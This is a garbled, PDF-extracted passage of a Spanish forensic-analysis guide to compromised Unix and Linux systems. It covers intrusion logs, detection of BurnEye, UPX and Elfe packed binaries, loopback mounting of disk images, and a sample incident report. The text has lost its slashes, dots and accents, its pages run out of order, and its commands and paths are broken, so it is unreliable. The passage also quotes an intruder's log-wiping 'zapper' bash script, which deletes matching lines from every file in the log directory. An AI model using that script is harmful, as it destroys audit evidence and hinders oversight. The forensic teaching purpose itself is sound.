Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 31: Análisis Forense de Sistemas GNU/Linux, Unix

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

